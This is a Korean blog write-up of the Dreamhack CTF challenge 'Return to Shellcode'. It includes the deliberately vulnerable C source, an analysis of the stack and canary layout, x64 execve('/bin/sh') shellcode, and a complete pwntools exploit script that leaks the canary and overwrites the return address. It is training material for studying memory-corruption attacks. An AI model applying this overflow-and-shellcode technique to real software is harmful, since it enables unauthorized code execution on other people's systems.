일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- RSA
- arp
- weak key
- RSA Common Modulas Attack
- pycrpytodome
- OverTheWire Bandit Level 1 → Level 2
- Hastad
- picoCTF
- dreamhack
- spoofing
- return address overflow
- 웹해킹
- CSRF
- dns
- overthewire
- Crypto
- XSS
- AES
- 시스템해킹
- Bandit Level 1 → Level 2
- cryptography
- Franklin-Reiter Related Message Attack
- 암호학
- 드림핵
- redirect
- Cube Root Attack
- shellcode
- Montgomery Reduction
- bandit
- rao
- Today
- Total
암호(수학) 등.. 공부한 거 잊을거 같아서 만든 블로그
[Dreamhack] Return to Shellcode 본문
문제

문제 파일 : r2s.c
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
풀이
checksec 으로 확인한 결과, Canary가 적용되었음을 알 수 있다.

char buf[0x50]
main 함수에서 선언된 버퍼는 buf밖에 없다 따라서 다음과 같은 스택 구조를 생각할 수 있다.
이미지 오류로 정정 하겠다. 아래 이미지에 buf(0x50) 아래에는 dummy(0x08)이 추가로 있다.
따라서 buf(0x50) + dummy(0x08) + SFP(0x08) + Ret(0x08)로 스택이 구상되어 있다.


gdb로 확인해 본 결과 유추한 스택구조가 맞음을 확인할 수 있다.
0x7fffffffde30 : buf (0x50)
0x7fffffffde80 : 0x00~~ (0x08)
0x7fffffffde88 : canary (0x08)
0x7fffffffde90 : stack frame pointer (0x08)
0x7fffffffde98 : return address (0x08)
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
위 코드를 보면 buf 의 주소 값과, buf와 SFP의 사이의 거리를 알려준다. buf의 주소를 알면 return adress의 값을 buf 의 주소 값으로 변조시켜 쉘코드를 실행하게 할 수 있다.
다음 코드는 이 값들을 저장하는 코드이다.

printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
위 코드는 buf 에 0x100 바이트 만큼을 입력 할 수 있는 코드이다. buf의 크기가 0x50 이므로 버퍼 오버플로우가 가능하다.
따라서 버퍼 오버 플로우를 이용하여 카나리를 알아올 수 있다. canary의 첫 바이트는 0x00이므로 이 부분을 그대로 놔두면 0x00 에서 출력이 멈춘다. 그래서 0x00 부분을 오버플로우를 이용하여 다른 값으로 채우고, 나머지 7바이트를 받아와서 다시 0x00을 추가하여 cnry에 저장한다.

puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
buf에 입력을 받는 gets 함수도 스택 버퍼 오버플로우에 취약하다. 이제 카나리와 buf의 주소를 알기 때문에 return adress의 값을 buf의 주소로 바꾸어 입력한 쉘코드를 실행 할 수 있도록 만들면 된다.

쉘코드는 아래의 어셈블리를 이용하여 만들었다.
x64_execve_shellcode.asm
;x64_execve_shellcode.asm
section .text
global _start
_start:
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
이제 작성한 코드들을 정리하면 아래의 코드이다.
exploit.py
from pwn import *
p = remote('host3.dreamhack.games', 8815)
p.recvuntil('buf: ')
buf = int(p.recvline(), 16)
success(f'buf address : {hex(buf)}')
p.recvuntil('$rbp: ')
buf_sfp = int(p.recvline())
buf_cnry = buf_sfp - 8
success(f'buf_sfp : {buf_sfp}')
success(f'buf_cnry : {buf_cnry}')
payload = b'A' * (buf_cnry + 1)
p.sendafter('Input: ', payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
success(f'canary : {hex(cnry)}')
payload = b''
shellcode= b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"
payload += shellcode
payload += b'A' * (buf_cnry - len(shellcode))
payload += p64(cnry)
payload += b'A' * 8
payload += p64(buf)
p.sendafter('Input: ', payload)
p.interactive()
위 코드를 실행하면 쉘을 얻어서 플래그를 볼 수 있다.

'Dreamhack > Pwnable' 카테고리의 다른 글
[Dreamhack] Return_to_Library (0) | 2023.05.04 |
---|---|
[Dreamhack] ssp_001 (0) | 2023.04.09 |
[Dreamhack] basic_exploitation_000 (0) | 2023.04.02 |
[Dreamhack] basic_exploitation_001 (0) | 2023.04.02 |
[Dreamhack] shell_basic (0) | 2023.03.22 |